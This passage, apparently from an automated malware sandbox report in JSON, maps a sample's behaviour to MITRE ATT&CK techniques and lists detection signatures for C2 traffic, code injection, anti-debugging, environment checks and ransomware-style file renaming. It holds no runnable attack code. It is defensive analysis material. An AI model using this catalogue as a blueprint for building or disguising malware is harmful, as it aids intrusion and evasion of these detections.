Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"Contains ability to attach base64 encoded attachment to an email"},{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"malicious","value":"Found unknown user-agent(s)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Drops a Windows setup information (INF) file"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"malicious","value":"GETs executable from a webserver (HTTPS)"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Drops XML files"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"References OpenSSL library string"},{"type":"informative","value":"Contains reference to OpenSSL library string"},{"type":"informative","value":"Shows ability to use asymmetric encryption algorithm"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Contains ability to use AES encryption instructions"},{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"malicious","value":"Renames many files with double extensions (often indicator of ransomware infection)"},{"type":"suspicious","value":"Write many files with double extensions (often indicator of ransomware infection)"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Impact","technique":"Internal Defacement","attack_id":"T1491.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1491/001","identifiers":[{"type":"suspicious","value":"The input sample dropped very many files"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to attach base64 encoded attachment to an email","description":"Found string \"Content-Transfer-Encoding: base64%s\" (Indicator: \"Content-Transfer-Encoding: base64\"; File: \"00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found string \"Content-Transfer-Encoding: base64%s%s\" (Indicator: \"Content-Transfer-Encoding: base64\"; File: \"00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found string \"Content-Transfer-Encoding: base64%s\" (Indicator: \"Content-Transfer-Encoding: base64\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found string \"Content-Transfer-Encoding: base64%s%s\" (Indicator: \"Content-Transfer-Encoding: base64\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132.001","relevance":3,"id":"string-588","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify system service (API string)","description":"Found reference to API \"ControlService\" (Indicator: \"ControlService\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00003720.00000000.155055.03010000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005660.00000000.157622.03560000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00003720.00000000.155055.00401000.00000020.mdmp\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00005260.00000000.155704.00401000.00000020.mdmp\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00005660.00000000.157622.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"$28","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006816.00000001.158086.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007352.00000000.158796.00400000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Renames files","description":"$29","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 17336-4318-0040784F","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2a","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to use AES encryption instructions","description":"Found string \"AESNI_INIT_KEY\" (Indicator: \"AESNI\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found string \"AESNI_XTS_CIPHER\" (Indicator: \"AESNI\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.001","relevance":3,"id":"string-584","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Cryptographic Related","name":"Found XOR operators (encryption/decryption)","description":"file/memory contains long string with (Indicator: \" ^ \"; File: \"TM01859866_fn_Macro_.thmx\")\n file/memory contains long string with (Indicator: \" ^ \"; File: \"_socket.pyd\")\n file/memory contains long string with (Indicator: \" ^ \"; File: \"bootmgr.efi.mui\")\n file/memory contains long string with (Indicator: \" ^ \"; File: \"win32service.pyd\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2c","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.712600426960686","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Contains ability to attach base64 encoded attachment to an email\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: HTTP request contains Base64 encoded artifacts\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2d","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use asymmetric encryption algorithm","description":"The analysis found public/private key which shows ability to use asymmetric encryption algorithm. Matched sigs: Possibly contains Public/Private key (encryption)","origin":"Indicator Combinations","mitre_attack_id":"T1573.002","relevance":1,"id":"summary-33","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server\n Matched sigs: Contacts domains\n Matched sigs: Possibly tries to communicate over SSL connection (HTTPS)","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"python.exe\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003720.00000000.155055.00401000.00000020.mdmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005260.00000000.155704.00401000.00000020.mdmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005660.00000000.157622.00401000.00000020.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Microsoft Edge\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"PostMessageA\" (Indicator: \"postmessage\"; Source: \"00000000-00003720-00000C2A-1436347746\")\n Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00003720.00000000.155055.03010000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00005660.00000000.157622.03560000.00000004.mdmp\")\n Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"GetForegroundWindow\" (UID: 00000000-00000656)\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006816)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003720)\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00000656)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2e","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"GetVersionExA\" with parameter 940000000600000002000000f023000002000000004245000a00000001000000e06f4d00d50100000900000001000000e06f4d00d501000044ec0a0c760145006400000000006900beca63cad6c162cad66163ca56c264cad62563cad6c162cad6c966cad64963cae65d65cad6c16aca564263caf6e962ca964a73cad6c162ca96026dca56c282cac828000000800000a8080000 (UID: 00000000-00006816)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate volumes (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-194","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003720.00000000.155055.00401000.00000020.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005260.00000000.155704.00401000.00000020.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005660.00000000.157622.00401000.00000020.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00003720.00000000.155055.00401000.00000020.mdmp\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005260.00000000.155704.00401000.00000020.mdmp\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005660.00000000.157622.00401000.00000020.mdmp\")\n Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: 